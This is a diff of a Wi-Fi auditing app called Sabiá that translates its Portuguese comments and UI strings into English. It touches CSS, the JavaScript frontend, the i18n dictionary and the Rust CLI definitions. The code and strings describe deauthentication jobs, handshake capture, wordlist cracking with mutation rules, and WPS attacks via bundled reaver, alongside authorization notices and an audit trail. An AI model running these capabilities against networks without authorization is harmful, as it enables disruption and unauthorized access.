.notice.warn { background: var(--warn-soft); } .notice.warn svg { color: var(--warn); }
.notice.bad { background: var(--bad-soft); } .notice.bad svg { color: var(--bad); }
.notice b { color: var(--text); }
/* ------------------------------------------------------------ controles */
/* ------------------------------------------------------------ controls */
.controls { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); padding: 16px 18px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 22px; }
.controls .group { display: flex; align-items: center; gap: 8px; }
.pill { display: inline-flex; align-items: center; gap: 5px; padding: 3px 10px; border-radius: 999px; font-size: 12px; font-weight: 600; background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text-2); }
@@ -166,7 +166,7 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
.btn.live { background: var(--bad); color: #fff; }
.btn.live:hover { filter: brightness(1.06); }
/* ------------------------------------------------------------ tabela */
/* ------------------------------------------------------------ table */
.result-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin: 4px 2px 10px; }
.result-summary { display: flex; align-items: baseline; gap: 10px; min-width: 0; }
.result-head strong { font-size: 15px; }
@@ -186,7 +186,7 @@ tbody tr:hover { background: var(--surface-2); }
td.ssid { font-weight: 600; }
td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
/* rede agrupada por ESSID; cada BSSID vira uma linha expansível */
/* network grouped by ESSID; each BSSID renders as an expandable row */
.caret-cell { width: 34px; padding-left: 10px; padding-right: 0; }
.expander { width: 26px; height: 26px; border: 0; border-radius: 8px; background: transparent; color: var(--text-3); cursor: pointer; display: inline-grid; place-items: center; padding: 0; }
.expander:hover { background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text); }
@@ -227,7 +227,7 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.empty-state h2 { font-size: 17px; color: var(--text); margin-bottom: 6px; }
.empty-state p { font-size: 13.5px; max-width: 360px; margin: 0 auto; }
/* ------------------------------------------------------------ configurações */
/* ------------------------------------------------------------ settings */
dialog { border: 0; border-radius: 20px; padding: 24px; width: min(420px, calc(100vw - 32px)); background: var(--surface); color: var(--text); box-shadow: 0 30px 80px rgba(0, 0, 0, .35); }
dialog::backdrop { background: rgba(0, 0, 0, .35); backdrop-filter: blur(6px); }
dialog h2 { font-size: 20px; margin-bottom: 16px; }
@@ -238,7 +238,7 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.select option { background-color: var(--surface); color: var(--text); }
/* ------------------------------------------------------------ detalhes do alvo */
/* ------------------------------------------------------------ target details */
.ssid-btn { display: block; border: 0; padding: 0; background: transparent; color: inherit; font: inherit; font-weight: 600; text-align: left; cursor: pointer; line-height: 1.25; }
.ssid-btn:hover { color: var(--accent); text-decoration: underline; text-underline-offset: 3px; }
.bssid-item { cursor: pointer; }
@@ -300,13 +300,11 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.empty-inline p { margin: 0; font-size: 13px; }
.auth-check { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; margin: 4px 0 14px; }
.auth-check input { width: 16px; height: 16px; accent-color: var(--accent); }
/* Colunas CSS em vez de grid: os cards de ataque têm alturas muito
diferentes entre si (Deauth/Handshake são enormes, PMF/WPS são curtos).
Num grid de 2 colunas comum, o par mais curto de uma linha deixava um
vão vazio enorme embaixo (a altura da linha é a do item mais alto, e
align-items:start não estica o curto pra preencher). Colunas fazem os
cards fluírem como alvenaria: cada um só ocupa a altura que precisa, o
próximo entra logo abaixo, sem buracos. */
/* CSS multi-column layout instead of grid: attack cards have very different
heights (Deauth/Handshake are tall, PMF/WPS are short). In a standard
2-column grid, the shorter card in a row left a large empty gap underneath.
Multi-column masonry flow lets each card take only the height it needs
with the next card stacking right below. */
.attack-grid { column-count: 2; column-gap: 12px; }
.attack-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; min-width: 0; break-inside: avoid; margin: 0 0 12px; display: inline-block; width: 100%; }
.attack-deauth, .attack-wide { column-span: all; }
@@ -336,7 +334,7 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.crack-bar i { display: block; width: 35%; height: 100%; border-radius: 999px; background: var(--accent); animation: crack-slide 1.1s ease-in-out infinite; }
@keyframes crack-slide { 0% { margin-left: -35%; } 100% { margin-left: 100%; } }
/* ------------------------------------------------------------ responsivo */
/* ------------------------------------------------------------ responsive */
@media (max-width: 760px) {
.app { grid-template-columns: 1fr; grid-template-rows: auto 1fr; }
.sidebar { border-right: 0; border-bottom: 1px solid var(--line); flex-direction: row; align-items: center; overflow-x: auto; }
@@ -359,7 +357,7 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.detail-card, .attack-card { padding: 12px; }
}
/* --------------------------------------------------- análise de canais */
/* --------------------------------------------------- channel analysis */
.top-actions { display: flex; align-items: center; gap: 10px; }
.view-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 7%, transparent); }
.view-switch button { border: 0; border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; color: var(--text-2); background: transparent; cursor: pointer; }
@@ -401,7 +399,7 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.chan-aps { color: var(--text-3); font-size: 11px; white-space: nowrap; }
.chan-best .chan-n, .chan-best .chan-aps { color: var(--signal); }
/* ------------------------------------------------- saúde do espectro (SMART) */
/* ------------------------------------------------- spectrum health (SMART) */
.chan-tiles { display: grid; grid-template-columns: repeat(auto-fill, minmax(132px, 1fr)); gap: 10px; margin: 2px 0 16px; }
.chan-tile { background: var(--surface-2); border-radius: 14px; padding: 12px 14px; display: flex; flex-direction: column; gap: 2px; box-shadow: 0 0 0 1px var(--line); }
.chan-tile small { color: var(--text-3); font-size: 12px; }
@@ -424,7 +422,7 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.chan-table tr.chan-best-row td { color: var(--signal); font-weight: 600; }
.mini-tag { font-size: 8.5px; padding: 1px 4px; border-radius: 4px; background: var(--warn-soft); color: var(--warn); }
/* ------------------------------------------------ clientes e linha do tempo */
/* ------------------------------------------------ clients and timeline */
.spark { display: inline-block; width: 62px; height: 16px; vertical-align: middle; margin-left: 6px; }
.spark path { fill: none; stroke: var(--signal); stroke-width: 1.4; }
.spark-big { display: block; width: 100%; height: 70px; margin: 10px 0 0; }
@@ -439,7 +437,7 @@ dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; m
.tl-probe { color: var(--signal); }
.tl-detail { color: var(--text-3); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
/* ------------------------------------------------------------- WPS e relatório */
/* ------------------------------------------------------------- WPS and report */
.term { margin: 10px 0 0; padding: 10px 12px; border-radius: 10px; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); font: 11.5px/1.5 var(--mono); white-space: pre-wrap; max-height: 180px; overflow: auto; }
.report-dlg { width: min(1060px, 96vw); height: 92vh; max-height: 92vh; padding: 0; display: flex; flex-direction: column; overflow: hidden; }
.report-dlg:not([open]) { display: none; }
+65 -67
View File
@@ -53,11 +53,11 @@ function applyTheme(t) {
function updateThemePref(t) {
applyTheme(t);
try { localStorage.setItem('sabia-theme', t); } catch { /* sem armazenamento */ }
try { localStorage.setItem('sabia-theme', t); } catch { /* storage unavailable */ }
}
let themePref = 'auto';
try { themePref = localStorage.getItem('sabia-theme') || 'auto'; } catch { /* sem armazenamento */ }
try { themePref = localStorage.getItem('sabia-theme') || 'auto'; } catch { /* storage unavailable */ }
applyTheme(themePref);
document.querySelectorAll('[data-theme-pick]').forEach((b) => {
@@ -67,7 +67,7 @@ document.querySelectorAll('[data-theme-pick]').forEach((b) => {
try {
const sort = localStorage.getItem('sabia-sort');
if (sort && [...els.sortSel.options].some((o) => o.value === sort)) els.sortSel.value = sort;
} catch { /* sem armazenamento */ }
} catch { /* storage unavailable */ }
els.settingsBtn.addEventListener('click', () => {
if (!els.settingsDlg.open) els.settingsDlg.showModal();
@@ -75,14 +75,14 @@ els.settingsBtn.addEventListener('click', () => {
function applyLangPref() {
let pref = 'auto';
try { pref = localStorage.getItem('sabia-lang') || 'auto'; } catch { /* ignora */ }
try { pref = localStorage.getItem('sabia-lang') || 'auto'; } catch { /* ignore */ }
els.langSel.value = pref;
setLang(pref === 'auto' ? undefined : pref);
}
els.langSel.addEventListener('change', () => {
const pref = els.langSel.value;
try { localStorage.setItem('sabia-lang', pref); } catch { /* ignora */ }
try { localStorage.setItem('sabia-lang', pref); } catch { /* ignore */ }
setLang(pref === 'auto' ? undefined : pref);
});
@@ -90,12 +90,12 @@ let ifaces = [];
let current = null;
let scanning = false;
// Ordem de chegada estável por rede/BSSID: sem isso, cada poll reordenava a
// lista pelo sinal instantâneo e as linhas ficavam "flutuando" de posição a
// cada atualização, tornando impossível clicar no alvo certo. A ordem de
// chegada serve de critério de desempate (e de ordenação padrão), então um
// item só muda de posição se o usuário trocar o modo de ordenação de
// verdade — não por uma flutuação de -1 dBm entre um poll e outro.
// Stable arrival order per network/BSSID: without this, each poll resorted the
// list by instantaneous RSSI and rows jumped around on every
// update, making it hard to click a target. Arrival order
// serves as the tiebreaker (and default sort), so an
// item only moves when the user explicitly changes the sort mode
// rather than on a 1 dBm RSSI fluctuation between polls.
const firstSeenOrder = new Map();
let firstSeenSeq = 0;
function orderOf(key) {
@@ -115,8 +115,8 @@ async function api(path, opts) {
return r.json();
}
// No app desktop não existe servidor HTTP: as mesmas rotas viram chamadas
// IPC diretas pro núcleo, pelos comandos registrados em src-tauri/src/main.rs.
// In the desktop app there is no HTTP server: the same routes map to direct
// IPC calls into the core via the Tauri commands in src-tauri/src/main.rs.
async function tauriApi(path, opts = {}) {
const [p, qs] = path.split('?');
const q = new URLSearchParams(qs || '');
@@ -280,8 +280,8 @@ function renderEmptyResult(message, hint) {
els.resultArea.innerHTML = `<div class="ap-card empty-state">${ICON_EMPTY}<h2>${message}</h2><p>${hint}</p></div>`;
}
// Só troca o HTML quando muda de verdade: o poll de 1 s não deve
// reconstruir a tabela (e perder foco/hover) à toa.
// Only update innerHTML when content actually changes: the 1s poll must not
// rebuild the DOM table (and drop focus/hover) unnecessarily.
function setResultsHtml(html) {
if (els.resultArea._h === html) return;
els.resultArea._h = html;
@@ -352,9 +352,9 @@ els.btnScan.addEventListener('click', async () => {
if (!scanning) {
const res = await api(`/api/scan/start?iface=${encodeURIComponent(current)}`, { method: 'POST' });
if (res && res.ok === false) {
// Sem isso, uma falha ao abrir a captura (permissão, interface saiu do
// modo monitor, etc.) ficava muda: o botão virava "parar captura" e a
// tela mostrava "escutando o ar" pra sempre, sem nenhuma rede chegar.
// Without this, a failure to start capture (permissions, interface left
// monitor mode, etc.) was silent: the button flipped to "stop capture" and
// the screen showed "listening" forever without any networks arriving.
alert('Não foi possível iniciar a captura: ' + (res.error || 'erro desconhecido'));
return;
}
@@ -398,7 +398,7 @@ function signalOf(ap) {
}
function signalBars(dbm) {
// dBm tipicamente entre -30 (ótimo) e -90 (péssimo)
// dBm typically ranges from -30 (excellent) to -90 (weak)
let level = 0;
if (dbm != null) {
if (dbm >= -55) level = 4;
@@ -414,9 +414,9 @@ function signalBars(dbm) {
return `<span class="signal-bars">${bars}</span>`;
}
// Agrupa por ESSID: uma rede pode ter vários BSSIDs (rádios) e todos
// pertencem ao mesmo alvo. Redes ocultas ficam separadas, pois sem SSID
// não há como afirmar que dois BSSIDs são a mesma rede.
// Group by ESSID: a network may have multiple BSSIDs (radios) belonging
// to the same target. Hidden networks stay separate since without an SSID
// two BSSIDs cannot be assumed to belong to the same network.
function buildGroups(aps) {
const map = new Map();
for (const ap of aps) {
@@ -460,9 +460,9 @@ function filterGroups(groups) {
g.aps.some((a) => a.bssid.toLowerCase().includes(q)));
}
// Dessensibiliza o sinal antes de comparar: arredondar pro m\u00faltiplo de 4
// dBm mais pr\u00f3ximo evita que uma oscila\u00e7\u00e3o de 1-2 dBm entre dois polls
// inverta a ordem de dois alvos com sinal parecido a cada atualiza\u00e7\u00e3o.
// Quantize RSSI before comparing: rounding to the nearest multiple of 4
// dBm prevents a 1-2 dBm fluctuation between polls from
// flipping the order of two targets with similar signal strength.
function signalBucket(v) {
return v == null ? -1000 : Math.round(v / 4) * 4;
}
@@ -535,7 +535,7 @@ function renderGroup(g) {
let lastAps = [];
const openGroups = new Set();
let viewMode = 'nets';
try { viewMode = localStorage.getItem('sabia-view') || 'nets'; } catch { /* sem armazenamento */ }
try { viewMode = localStorage.getItem('sabia-view') || 'nets'; } catch { /* storage unavailable */ }
let channelBand = null;
let reportState = { iface: null, pages: 1, zoom: 1, url: null };
let reportMeasureTimer = null;
@@ -632,8 +632,8 @@ function spectrumSvg(band) {
const CHAN_TONE_WORD = { ok: 'Boa', warn: 'Atenção', bad: 'Saturado' };
/** Estado geral da banda: mesma lógica de "saúde" usada nos tons por canal,
* só que aplicada ao canal recomendado — é o que decide o tom do card inteiro. */
/** Overall band status: applies the per-channel health logic to the
* recommended channel to determine the summary card tone. */
function bandHealth(band, rec) {
if (!rec) return { tone: 'bad', label: 'Sem canal livre nessa banda' };
if (rec.score >= 1.5) return { tone: 'bad', label: 'Até o melhor canal está saturado' };
@@ -752,7 +752,7 @@ function renderResults(aps) {
function setView(mode) {
viewMode = mode === 'channels' ? 'channels' : 'nets';
try { localStorage.setItem('sabia-view', viewMode); } catch { /* ignora */ }
try { localStorage.setItem('sabia-view', viewMode); } catch { /* ignore */ }
document.querySelectorAll('#viewNav [data-view]').forEach((b) => {
b.setAttribute('aria-pressed', String(b.dataset.view === viewMode));
});
@@ -779,7 +779,7 @@ els.resultArea.addEventListener('click', (e) => {
els.searchInput.addEventListener('input', () => renderResults(lastAps));
els.sortSel.addEventListener('change', () => {
try { localStorage.setItem('sabia-sort', els.sortSel.value); } catch { /* sem armazenamento */ }
try { localStorage.setItem('sabia-sort', els.sortSel.value); } catch { /* storage unavailable */ }
renderResults(lastAps);
});
els.resultArea.addEventListener('click', (e) => {
@@ -803,7 +803,7 @@ els.resultArea.addEventListener('keydown', (e) => {
openTarget(target.dataset.bssid);
});
// ---------------------------------------------------------------- alvo
// ---------------------------------------------------------------- target
let lastSnapshot = null;
let selectedBssid = null;
let activeTab = 'overview';
@@ -1056,8 +1056,8 @@ const EVENT_LABEL = {
deauth: 'desautenticado',
};
/** Sparkline em tamanho real (não o mini de 62px da tabela), pra caber bem
* sozinho dentro do card de sinal do detalhe do cliente. */
/** Full-size RSSI sparkline (wider than the 62px table mini-chart) for the
* client detail signal card. */
function bigSparkline(history) {
const points = (history || []).slice(-60);
if (points.length < 2) return '<p class="hint">Sem amostras de sinal suficientes ainda.</p>';
@@ -1077,9 +1077,8 @@ function bigSparkline(history) {
return `<svg class="spark spark-big" viewBox="0 0 ${W} ${H}" preserveAspectRatio="none" aria-hidden="true"><path d="${d}"/></svg>`;
}
/** Visão completa de um cliente: tudo que o Sabiá já capturou sobre ele —
* identificação, rede, sinal e a linha do tempo de eventos — num painel só,
* em vez de ter que adivinhar olhando a linha compacta da tabela. */
/** Detailed client view: consolidates everything captured about a station —
* identity hints, associated AP, signal history, and event timeline — in one modal. */
function renderClientDetail(clients) {
const client = clients.find((c) => c.mac === attack.timelineMac);
if (!client) return '';
@@ -1522,11 +1521,11 @@ async function loadSnapshot() {
}
}
// Enquanto startDeauthJob está religando a captura e esperando o AP
// reaparecer na varredura, a sessão nova responde vazia por alguns ciclos
// de poll — sem essa trava, renderTarget() interpreta "AP não visto ainda"
// como "AP não existe mais" e fecha o diálogo debaixo do usuário no meio
// da própria ação que ele acabou de pedir.
// While startDeauthJob is restarting capture and waiting for the AP
// to reappear in the scan, the fresh session returns empty for a few poll
// cycles — without this guard, renderTarget() treats "AP not seen yet"
// as "AP gone" and closes the modal underneath the user mid-action.
//
let resumingForBssid = null;
function renderTarget(force) {
@@ -1671,13 +1670,13 @@ async function waitForBssidChannel(bssid, timeoutMs) {
}
async function startDeauthJob(handshake) {
// Fixa o alvo no início: o resto desta função faz esperas longas
// (religar a captura, aguardar a rede reaparecer na varredura), e nesse
// meio tempo o poll global pode não achar mais o AP na primeira resposta
// vazia da sessão recém-reiniciada e fechar o diálogo, zerando
// `selectedBssid`. Sem essa cópia local, o job acabava sendo disparado
// com bssid=null ("MAC inválido: null") mesmo depois de localizar a rede
// com sucesso.
// Snapshot the target BSSID upfront: the rest of this function awaits
// capture restart and AP rediscovery, during which the global poll could
// see an empty initial snapshot and close the modal, clearing
// `selectedBssid`.
//
//
//
const bssid = selectedBssid;
const station = document.getElementById('deauthStation')?.value || '';
const direction = document.getElementById('deauthDirection')?.value || attack.direction;
@@ -1688,10 +1687,10 @@ async function startDeauthJob(handshake) {
setResult('deauthResult', 'Escolha um cliente para desautenticar nas direções sta/both.', true);
return;
}
// Essa ação exige uma sessão de captura ativa (é o que guarda o handshake
// montado); sem isso o backend recusa com "inicie a captura antes do
// job". Em vez de obrigar o usuário a voltar e religar manualmente, retoma
// a captura aqui — do jeito que ele descreveu querer.
// This action requires an active capture session (which stores the assembled
// handshake); rather than forcing the user to manually restart capture,
// resume capture automatically here.
//
if (!scanning) {
const scanRes = await api(`/api/scan/start?iface=${encodeURIComponent(current)}`, { method: 'POST' });
if (scanRes && scanRes.ok === false) {
@@ -1702,12 +1701,12 @@ async function startDeauthJob(handshake) {
els.btnScan.textContent = 'parar captura';
els.btnScan.classList.add('live');
els.wave.classList.add('scanning');
// A captura acabou de reiniciar: a sessão ainda não sabe em qual canal
// este BSSID está, e o job travaria o canal errado (o canal em que o
// scanner por acaso já estava saltando) em vez do canal real do AP —
// os quadros de deauth saem no vácuo e o job termina sem efeito. Espera
// o AP reaparecer no snapshot (ele já esteve no ar, é questão de
// segundos de varredura) antes de disparar o job.
// Capture just restarted: the session does not yet know which channel
// this BSSID is on, so starting the job immediately would lock the wrong
// channel. Wait briefly for the AP to reappear in the scan snapshot
// before launching the job.
//
//
setResult('deauthResult', 'Retomando a captura e localizando a rede…');
resumingForBssid = bssid;
let found;
@@ -2370,10 +2369,9 @@ async function poll() {
if (scanning && current) {
const snap = await api(`/api/scan/snapshot?iface=${encodeURIComponent(current)}`);
if (snap?.access_points && snap.running === false) {
// A sessão existe e respondeu normal (200), mas o próprio engine
// marcou running=false: a thread de captura morreu sozinha (erro de
// I/O, adaptador caiu da USB, etc.). Sem isso, a UI continuava achando
// que ainda estava capturando e nunca contava o motivo real.
// The session exists and returned HTTP 200, but the engine marked
// running=false because the capture thread died on its own (I/O error,
// USB adapter unplugged, etc.). Surface the actual reason to the UI.
scanning = false;
els.btnScan.textContent = 'iniciar captura';
els.btnScan.classList.remove('live');
@@ -2386,10 +2384,10 @@ async function poll() {
renderResults(snap.access_points);
if (selectedBssid) renderTarget(false);
} else if (snap && snap.ok === false) {
// A captura morreu no meio (interface saiu do monitor, processo externo
// tomou o adaptador, etc.). Antes disso caía no fallback de baixo, que
// sempre responde 200 com lista vazia — a UI continuava "escutando o
// ar" indefinidamente sem nenhuma rede aparecer e sem avisar por quê.
// Capture stopped mid-flight (interface left monitor mode, external
// process claimed the adapter, etc.). Without this branch, the fallback
// below returns 200 with an empty list and the UI keeps listening
// indefinitely without any network appearing or explaining why.
scanning = false;
els.btnScan.textContent = 'iniciar captura';
els.btnScan.classList.remove('live');
@@ -2405,7 +2403,7 @@ async function poll() {
}
async function checkElevation() {
if (!tauri) return; // via `sabia ui` a elevação é responsabilidade do terminal (sudo)
if (!tauri) return; // in `sabia ui` mode privilege elevation is handled by the terminal (sudo)
const notice = document.getElementById('elevateNotice');
const msg = document.getElementById('elevateMsg');
const retry = document.getElementById('btnElevateRetry');
+13 -11
View File
@@ -1,4 +1,4 @@
// Dicionário português -> inglês da interface. {n} marca um valor variável.
// Portuguese -> English UI dictionary. {n} marks a variable placeholder.
export const EN = {
// index.html / sidebar
'auditoria de Wi-Fi': 'Wi-Fi auditing',
@@ -19,7 +19,7 @@ export const EN = {
'modo monitor': 'monitor mode',
'modo gerenciado': 'managed mode',
// elevação / avisos
// elevation / notices
'Pedindo privilégio de administrador — necessário pra modo monitor e captura…':
'Requesting administrator privilege — needed for monitor mode and capture…',
'tentar de novo': 'try again',
@@ -27,13 +27,13 @@ export const EN = {
'Use somente em redes próprias ou com autorização explícita do responsável. Toda ativação de modo monitor e sessão de captura fica registrada na trilha de auditoria local.':
'Use only on your own networks or with the explicit authorization of the responsible party. Every monitor mode activation and capture session is logged in the local audit trail.',
// controles
// controls
'ativar modo monitor': 'enable monitor mode',
'desativar modo monitor': 'disable monitor mode',
'iniciar captura': 'start capture',
'parar captura': 'stop capture',
// resultados
// results
'Redes': 'Networks',
'Redes vistas': 'Networks seen',
'Linha do tempo': 'Timeline',
@@ -72,7 +72,7 @@ export const EN = {
'Nenhuma rede corresponde ao filtro': 'No network matches the filter',
'Ajuste a busca ou limpe o campo de filtro.': 'Adjust the search or clear the filter.',
// erros de UI
// UI errors
'Não foi possível trocar o modo:': 'Could not change the mode:',
'Não foi possível iniciar a captura:': 'Could not start the capture:',
'Não foi possível retomar a captura: {n}': 'Could not resume the capture: {n}',
@@ -82,7 +82,7 @@ export const EN = {
'erro desconhecido': 'unknown error',
'rota desconhecida': 'unknown route',
// seletor de idioma / configurações
// language selector / settings
'Configurações': 'Settings',
'Tema': 'Theme',
'Claro': 'Light',
@@ -133,7 +133,7 @@ export const EN = {
'quantidade de quadros deve ficar entre 1 e 256': 'frame count must be between 1 and 256',
'MAC inválido: {n}': 'invalid MAC: {n}',
// detalhes do alvo e ataques
// target details and attacks
'não': 'no',
'não anunciado': 'not advertised',
'quebrável': 'crackable',
@@ -340,7 +340,7 @@ export const EN = {
'{n} · canal {n}': '{n} · channel {n}',
'{n} ({n})': '{n} ({n})',
// canais, PMKID/PMF, WPS e relatório
// channels, PMKID/PMF, WPS, and report
'Ocupação dos canais em {n}': 'Channel occupancy on {n}',
'Sem dados de canal ainda': 'No channel data yet',
'Inicie a captura para o Sabiá medir ocupação e sugerir canais.':
@@ -358,7 +358,7 @@ export const EN = {
'Melhor canal': 'Best channel',
'Espectro e canais': 'Spectrum and channels',
// saúde do espectro (canais, estilo SMART)
// spectrum health (channels, SMART style)
'Boa': 'Good',
'Atenção': 'Attention',
'Saturado': 'Saturated',
@@ -478,7 +478,7 @@ export const EN = {
'não foi possível executar {n}: {n}': 'could not run {n}: {n}',
'{n} terminou com código {n}': '{n} exited with code {n}',
// achados do WIDS (analysis.rs)
// WIDS findings (analysis.rs)
'SSID “{n}” com seguranças diferentes': 'SSID “{n}” with different security levels',
'O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {n}. Pode ser um evil twin ou um AP mal configurado.':
'The same name appears on BSSIDs with different security levels: {n}. It may be an evil twin or a misconfigured AP.',
@@ -525,7 +525,7 @@ export const EN = {
'The station did not reassociate in the observed window. PMF may be active, or the client simply stayed idle.',
'Inconclusivo': 'Inconclusive',
// deauth contínuo e identificação de clientes
// continuous deauth and client identification
'Mantém os quadros saindo em série até você parar (ou até sair o handshake). O canal da captura fica travado no AP durante o job.':
'Keeps frames going until you stop (or a handshake appears). The capture channel stays locked to the AP during the job.',
'Iniciar contínuo': 'Start continuous',
@@ -547,6 +547,8 @@ export const EN = {
'The bundled reaver could not be extracted in this run.',
'Dicionário (vazio = embutido, 9,7 milhões de senhas)': 'Wordlist (empty = bundled, 9.7 million passwords)',
'dicionário próprio, opcional': 'custom wordlist, optional',
'Aplicar regras de mutação (maiúscula, sufixos, leet — multiplica o tempo)':
'Apply mutation rules (uppercase, suffixes, leetspeak — multiplies run time)',
'Dispositivo': 'Device',
'MAC aleatório': 'Random MAC',
'Cliente {n}': 'Client {n}',
+8 -8
View File
@@ -1,7 +1,7 @@
// Idioma da interface. O texto-fonte é em português; no modo inglês um tradutor
// troca os textos exibidos (nós de texto e atributos) usando um dicionário, e
// continua observando a página para traduzir o que for desenhado depois.
// Textos com valores variáveis usam {n} no dicionário (ex.: "{n} redes" -> "{n} networks").
// UI language. Source strings are in Portuguese; in English mode a translator
// replaces displayed strings (text nodes and attributes) using a dictionary, and
// keeps observing the page to translate dynamically rendered elements.
// Variable placeholders use {n} in the dictionary (e.g. "{n} networks").
import { EN } from './i18n-en.js';
@@ -16,7 +16,7 @@ export function resolveLang(pref) {
}
const ATTRS = ['placeholder', 'title', 'aria-label', 'alt', 'data-empty'];
// Dados do usuário (SSID, BSSID, MAC, valores mono) nunca são traduzidos.
// User data (SSID, BSSID, MAC, monospace values) is never translated.
const SKIP = '.ssid, .bssid, .mono, pre, code, input, textarea, script, style';
const exact = new Map(Object.entries(EN).filter(([k]) => !k.includes('{n}')));
@@ -26,7 +26,7 @@ const patterns = Object.entries(EN)
const parts = k.split('{n}').map((p) => p.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
return { re: new RegExp('^' + parts.join('(.+?)') + '$', 's'), to: v };
})
// padrões mais específicos (mais texto fixo) primeiro
// more specific patterns (more fixed text) first
.sort((a, b) => b.re.source.length - a.re.source.length);
const cache = new Map();
@@ -43,7 +43,7 @@ export function tr(text) {
const m = core.match(p.re);
if (m) {
let i = 0;
// os valores capturados também podem ter partes traduzíveis (ex.: estados)
// captured values may also contain translatable parts (e.g. status labels)
out = p.to.replace(/\{n\}/g, () => tr(m[++i] ?? ''));
break;
}
@@ -55,7 +55,7 @@ export function tr(text) {
return lead + out + trail;
}
const orig = new WeakMap(); // nó -> texto original em português
const orig = new WeakMap(); // node -> original source text
let observer = null;
function translateNode(n) {
+6 -6
View File
@@ -1,10 +1,10 @@
# Paged.js
`paged.polyfill.min.js` é o polyfill do [Paged.js](https://pagedjs.org/), versão
0.4.3, usado para paginar os relatórios em A4 no navegador.
`paged.polyfill.min.js` is the [Paged.js](https://pagedjs.org/) polyfill, version
0.4.3, used to paginate A4 reports in the browser.
- Projeto: https://gitlab.coko.foundation/pagedjs/pagedjs
- Licença: MIT (texto em `PAGEDJS-LICENSE`)
- Arquivo: `paged.polyfill.min.js` (build de distribuição, não modificado)
- Project: https://gitlab.coko.foundation/pagedjs/pagedjs
- License: MIT (text in `PAGEDJS-LICENSE`)
- File: `paged.polyfill.min.js` (unmodified distribution build)
O arquivo é vendorizado para que o relatório funcione offline, sem CDN.
Vendorized so report generation works completely offline without external CDNs.
+1 -1
View File
@@ -1,6 +1,6 @@
[package]
name = "sabia-cli"
description = "sabia: CLI de auditoria e monitoramento de redes Wi-Fi"
description = "Sabiá: Wi-Fi network auditing and monitoring CLI"
version.workspace = true
edition.workspace = true
license.workspace = true
+27 -27
View File
@@ -16,7 +16,7 @@ use std::time::Duration;
version
)]
struct Cli {
/// Trilha de auditoria (padrão: .sabia-audit.log).
/// Audit log file path (default: `.sabia-audit.log`).
#[arg(long, global = true, default_value = ".sabia-audit.log")]
audit: PathBuf,
@@ -26,95 +26,95 @@ struct Cli {
#[derive(Subcommand)]
enum Cmd {
/// Lista interfaces, canais e controla o modo monitor.
/// List interfaces, channels, and toggle monitor mode.
Iface {
#[command(subcommand)]
action: IfaceAction,
},
/// Captura o ar e mostra redes, clientes e handshakes.
/// Capture live traffic and display networks, clients, and handshakes.
Scan {
iface: String,
/// Canal fixo; sem isso, percorre os canais suportados.
/// Fixed channel; when omitted, hops across supported channels.
#[arg(long)]
channel: Option<u32>,
/// Banda ao percorrer canais: 2.4, 5, 6 ou all.
/// Frequency band when hopping channels: `2.4`, `5`, `6`, or `all`.
#[arg(long)]
band: Option<String>,
/// Tempo em cada canal (ms).
/// Channel dwell time in milliseconds.
#[arg(long, default_value_t = 350)]
hop_ms: u64,
/// Para a varredura depois de N segundos (padrão: até Ctrl+C).
/// Stop scanning after N seconds (default: run until Ctrl+C).
#[arg(long)]
seconds: Option<u64>,
/// Salva os quadros capturados em um .pcap.
/// Save captured frames to a `.pcap` file.
#[arg(long)]
out: Option<PathBuf>,
/// Depois de capturar, tenta quebrar o primeiro handshake.
/// After capturing, attempt a wordlist crack on the first handshake.
#[arg(long, value_name = "DICIONARIO")]
crack: Option<PathBuf>,
/// Mostra apenas o JSON final.
/// Output only the final JSON summary.
#[arg(long)]
json: bool,
},
/// Analisa um .pcap offline (redes, clientes e handshakes).
/// Analyze a `.pcap` file offline (networks, clients, and handshakes).
Analyze {
pcap: PathBuf,
#[arg(long)]
json: bool,
},
/// Quebra um handshake de um .pcap por dicionário.
/// Run a dictionary attack against a handshake in a `.pcap` file.
Crack {
pcap: PathBuf,
/// Dicionário com uma senha por linha.
/// Wordlist file (one candidate passphrase per line).
#[arg(short, long)]
wordlist: PathBuf,
#[arg(long)]
bssid: Option<String>,
#[arg(long)]
station: Option<String>,
/// Aplica mutações comuns a cada palavra (maiúscula, sufixos
/// numéricos, leet simples) — multiplica o tempo de verdade.
/// Apply common mutation rules to each word (capitalization, numeric
/// suffixes, simple leetspeak) — multiplies total runtime.
#[arg(long)]
rules: bool,
#[arg(long)]
json: bool,
},
/// Envia desautenticação para um AP/estação (teste autorizado).
/// Send deauthentication frames to an AP/station (authorized testing only).
Deauth {
iface: String,
#[arg(long)]
bssid: String,
/// Sem isso, o destino é broadcast.
/// Target client MAC; defaults to broadcast when omitted.
#[arg(long)]
station: Option<String>,
#[arg(long, default_value_t = 5)]
count: u32,
#[arg(long, default_value_t = 7)]
reason: u16,
/// Confirma que você tem autorização para testar esta rede.
/// Confirm explicit authorization to test this target network.
#[arg(long)]
yes: bool,
},
/// Diagnóstico de privilégios, ferramentas e interfaces.
/// Diagnose privileges, external tools, and wireless interfaces.
Doctor {
#[arg(long)]
json: bool,
},
/// Inspeciona a trilha de auditoria.
/// Inspect and verify the hash-chained audit trail.
Audit {
